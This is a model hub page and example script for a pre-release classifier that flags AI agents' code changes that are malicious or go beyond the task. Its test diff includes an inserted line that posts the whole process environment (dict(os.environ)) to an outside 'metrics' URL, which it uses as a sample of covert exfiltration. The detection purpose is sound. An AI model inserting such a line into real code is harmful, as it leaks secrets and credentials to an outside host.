Zero-Shot Classification
Transformers
Safetensors
qwen3_5
feature-extraction
security
code-review
ai-agents
decision-model
d3
system-one
pre-release
custom_code
Instructions to use stonefish-labs/d3-mini-agentcode with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use stonefish-labs/d3-mini-agentcode with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("zero-shot-classification", model="stonefish-labs/d3-mini-agentcode", trust_remote_code=True)# pip install -U transformers accelerate # Load model directly from transformers import AutoProcessor, AutoModel processor = AutoProcessor.from_pretrained("stonefish-labs/d3-mini-agentcode", trust_remote_code=True) model = AutoModel.from_pretrained("stonefish-labs/d3-mini-agentcode", trust_remote_code=True, device_map="auto") - Notebooks
- Google Colab
- Kaggle
Card fact-check: usage snippet, long inputs, 4090 follow-up, limits, privacy, sources
124bf0b verified Download examples/usage.py from stonefish-labs/d3-mini-agentcode: direct link, hf CLI and curl.
- Browser
- Download file 2.6 kB
-
https://huggingface.co/stonefish-labs/d3-mini-agentcode/resolve/main/examples/usage.py
- Command line
-
hf download hf://stonefish-labs/d3-mini-agentcode/examples/usage.py
-
curl -L -o usage.py https://huggingface.co/stonefish-labs/d3-mini-agentcode/resolve/main/examples/usage.py
2.6 kB
| """Score two agent changes with d3-mini-agentcode (pre-release). Requires: transformers, torch, a CUDA GPU (~10 GB). | |
| python examples/usage.py [MODEL] # MODEL defaults to the Hugging Face repo; a local path works too | |
| """ | |
| import json | |
| import sys | |
| from pathlib import Path | |
| from transformers import AutoModel | |
| MODEL = sys.argv[1] if len(sys.argv) > 1 else "stonefish-labs/d3-mini-agentcode" | |
| HERE = Path(__file__).resolve().parent.parent | |
| QUESTIONS = json.loads((HERE / "questions.json").read_text()) | |
| THETA = json.loads((HERE / "thresholds.json").read_text())["frozen"] | |
| def state(task, change, baseline="(no repository history available)", summary="(no security-relevant behaviour found)"): | |
| """The input format the model was trained on: four sections, in this order. This example uses the placeholder | |
| summary; extractor/make_state.py builds the state with the real behaviour summary, as in training.""" | |
| return (f"Task:\n{task}\n\n" | |
| f"Repository baseline (normal behaviour of this repo/org):\n{baseline}\n\n" | |
| f"Behaviour summary (automated, not a verdict):\n{summary}\n\n" | |
| f"Change:\n{change}") | |
| TASK = "Add a --csv flag to the report command so the summary can be exported." | |
| IN_SCOPE = """diff --git a/report.py b/report.py | |
| index 3f1c2aa..8d0e4b1 100644 | |
| --- a/report.py | |
| +++ b/report.py | |
| @@ -1,9 +1,17 @@ | |
| import argparse | |
| +import csv | |
| +import sys | |
| def main(): | |
| p = argparse.ArgumentParser() | |
| p.add_argument("path") | |
| + p.add_argument("--csv", action="store_true", help="write the summary as CSV to stdout") | |
| args = p.parse_args() | |
| rows = summarise(args.path) | |
| - print_table(rows) | |
| + if args.csv: | |
| + w = csv.writer(sys.stdout) | |
| + w.writerow(["name", "count"]) | |
| + w.writerows(rows) | |
| + else: | |
| + print_table(rows) | |
| """ | |
| OUT_OF_SCOPE = IN_SCOPE.replace( | |
| "+ if args.csv:", | |
| "+ import os, urllib.request\n" | |
| "+ urllib.request.urlopen(\"https://metrics.example.net/c\", data=repr(dict(os.environ)).encode())\n" | |
| "+ if args.csv:") | |
| model = AutoModel.from_pretrained(MODEL, trust_remote_code=True) | |
| for name, change in (("in-scope change", IN_SCOPE), ("change that also sends the environment out", OUT_OF_SCOPE)): | |
| r = model.system_one(state=state(TASK, change), questions=QUESTIONS)["answers"] | |
| p_mal = r["class"]["probabilities"]["deliberately_malicious"] | |
| p_scope = r["scope"]["noul"] | |
| flag = p_mal >= THETA["class_malicious"] or p_scope >= THETA["scope"] | |
| print(f"{name}: p(malicious)={p_mal:.3f} p(beyond task)={p_scope:.3f} -> {'FLAG for review' if flag else 'pass'}") | |